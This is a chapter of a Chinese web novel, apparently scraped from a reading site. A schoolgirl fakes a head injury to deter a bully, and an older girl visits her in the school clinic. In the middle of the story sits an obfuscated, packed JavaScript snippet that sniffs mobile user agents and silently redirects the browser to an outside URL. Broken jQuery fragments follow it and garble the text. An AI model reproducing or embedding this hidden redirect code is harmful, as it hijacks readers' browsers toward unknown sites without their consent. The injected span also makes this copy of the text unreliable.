苏暗从没觉得从操场到校医院的这段路如此之长。


    姜顺个子高，身材健硕，但肩膀刚好抵着苏暗的胃，这一路晃荡差点把苏暗的早饭和胃酸都晃出来。


    脑子里把姜顺骂了八百遍，可眼睛从未睁开过。


    她想以后清净，就得杜绝隐患。


    塑造一个体弱多病的形象再好不过。


    省得姜顺以后没事儿就来找她麻烦，今天是用篮球砸她的脑袋，明天就不知道是什么了。


    苏暗就这么被他像扛麻袋一样扛去了校医院，今天值班的校医看上去很年轻，见姜顺那副急赤白脸的样儿，扫了他们一眼，差点就以为是早恋的小情侣。


    再一看姜顺扛人那架势……算了，谁家好人这么扛女朋友。


    怕不是得一天分手八百回。


    姜顺根据校医的指导，将苏暗放在病床上。


    病床上的女孩有些清瘦，校服在她身上都显得宽松，脸色惨白，就连唇都是白的。


    在他肩上的时候薄得跟片纸似的，都没什么重量。


    姜顺抹了把头上的汗，焦急地问：“医生，她会不会傻了啊？”


    校医睨了他一眼，又拨开苏暗的眼皮，用手电照了照她的瞳孔。


    ……醒着，挺健康。


    但校医也不是啥也不懂的人，冷声对姜顺道：“你先出去，我查一下问题。”


    “好嘞，谢谢。”姜顺走了出去。


    校医关上门才从容地走到病床边，温声道：“你可以睁眼了。”


    苏暗坐起来，轻呼出一口气，“有水吗？”


    校医给她递了瓶水，“需要我帮你报警吗？现在校园霸凌也可以备案的。”


    苏暗摇头：“没有霸凌。”


    校医还以为她是畏惧，皱了皱眉道：“如果你今天不反抗，他们以后会更变本加厉。”


    “我这不是在反抗了吗？”苏暗朝校医笑了笑，露出浅浅的梨涡，“等会儿您给我挂个水，跟他说我脑部遭到了撞击，需要静养，把他打发走就行了。”


    校医听着有些不对劲儿，“他是你男朋友？”


    苏暗错愕，顿住，片刻后以不可置信的语气询问校医：“医生，您见过把女朋友扛在肩上的吗？”


    “可能性很低，但也无法排除。”校医说：“如果你遭遇了校园暴力或霸凌，我可以帮你，但这种情况……”


    她耸了耸肩，显然，她已经是很好说话的校医院医生了。


    毕竟高中生嘛，谁还没个不想上课的时候。


    但她不可能次次纵容，那她这校医院很快就能变成收容所。


    “他想追我姐，但被我告诉我爸妈了。”苏暗语气诚恳，“所以他恼羞成怒想用篮球砸我，但如果他知道我身体这么弱的话，他以后就不敢欺负我了。”


    校医思考片刻，温声道：“仅此一次。”


    而后给苏暗挂了个葡萄糖，又去外边冷脸把姜顺训了一顿，苏暗躺在病床上听到姜顺不停道歉的声音，校医则冷声道：“你该去跟患者道歉。”


    “等她醒来我肯定道。”姜顺保证道。


    苏暗之后的课都没能去上，陈诗情过来看她，担忧地问：“你真被砸到了？疼吗？”


    苏暗温声道：“还好。”


    事实上，篮球根本都没碰到她，但她做了很多假动作，让人看起来就像是她被球砸晕的。


    到了上课时间，苏暗催促陈诗情回去上课，而她躺着睡觉。


    难得清闲。


    阳光洒在病床上，苏暗睡了个好觉。


    ……


    这件事在中午就传遍了全校，起先还说是姜顺在体育课用篮球把女孩给砸了，传到后来就变成姜顺在追高一的状元，爱而不得就用篮球把人家脑袋砸了。


    黎青禾中午一个人在食堂吃饭，没联系上姜顺，所以在听见姜顺的名字后竖起了耳朵。


    坐在她邻桌的女孩是个语言组织能力挺强的人，明明不在现场，硬是一个我朋友、我学妹，东拉西扯把这个故事讲得绘声绘色，让人如同身临其境。


    黎青禾听了几分钟，大致了解了来龙去脉，餐盘里的饭吃了几口便拎去倒了，先去了趟姜顺班，没看见人以后在楼道里给姜顺打电话。


    没人接。


    黎青禾的表情很冷，眉心微蹙，再一抬眼就看见了经常跟苏暗走在一起的那个女孩，顿了下抬手喊道：“哎同学。”


    陈诗情愣了下，指着自己的鼻子问：“我？”


    “嗯。”黎青禾收了手机走到她面前问：“苏暗呢？”


    “校医院。”陈诗情说：“她在打点滴。”


    黎青禾道了声谢，又问：“那你看着姜顺了吗？”


    “也在校医院。”陈诗情说，“他说要等苏暗醒来才放心。”


    黎青禾：“……”


    黎青禾到校医院的时候，姜顺正垂头丧气地坐在病房外的椅子上。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174386|165036||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “姜顺。”黎青禾平淡地喊他的名字，结果下一秒姜顺抬起头，跟见了鬼似的，“黎姐我就想……”


    话没说完就被黎青禾拧住了耳朵，然后传来杀猪一样的叫声。


    想什么不重要，关键是做了什么。


    姜顺喊了八百遍疼，黎青禾站在他面前冷着脸训道：“你是不是有病？打篮球把你脑子都打没了？还是王姨当年生你的时候手术剪把你小脑给剪了？一点人事都不干？”


    姜顺：“……”


    平日里跟个痞子似的姜顺在黎青禾面前一句话都不敢说，生怕说了以后再被揍。


    黎青禾睨了他一眼，“滚。”


    姜顺指了指病房：“她还没醒呢。”


    “你打她哪儿了？”黎青禾问。


    姜顺一顿，有些心虚地指着自己脑袋，下一秒，黎青禾抬手就在他后脑扇了一下：“滚吧，我替你看着。”


    姜顺一步三回头地走了。


    黎青禾推开门进了病房，就看见苏暗睁着滚圆黑亮的眼睛盯着她看，见到她以后眼睛霎时亮晶晶的，“姐姐。”


    不知是装的还是真的。


    黎青禾更偏向于前者，但她表情顿时没那么冷了。


    黎青禾抱臂站在她病床前，看着吊瓶里的水快打完了，垂下眼扫过她有些苍白的脸，低声问：“头疼不疼？”


    苏暗缓缓摇头：“不疼。”


    黎青禾拉了张椅子在旁边坐下，语气寡淡：“被人砸也不知道躲，蠢得要命。”


    苏暗看着她的侧脸，阳光无所顾忌地倾洒在她脸上，把她每一根乌黑的发丝都染上金色的光，那张脸更是似玉一般白皙无暇。


    黎青禾见她不说话，那双凉薄的眼望过去，恰好跟苏暗注视她的眼神对上。


    就像被突然摁下了暂停键，有几秒静止。


    黎青禾皱了皱眉，正想说什么打破这尴尬的气氛，就见苏暗扬起笑脸，温声道：“关心人有很多种方式，你偏偏选了最极端的那种。”


    黎青禾微怔，而后蹙眉不耐烦道：“少自恋，谁关心你啊。”


    苏暗扯了扯唇，用那双莹润的眼睛像小狗一样看着黎青禾，讨好似地眨眨眼：“谢谢姐姐。”


    黎青禾：“……”


    几秒后，黎青禾冷着脸说：“我没关心你。”


    但苏暗只是看着她笑，笑得很灿烂。


    黎青禾也不理她，就那么在病床前坐了半小时。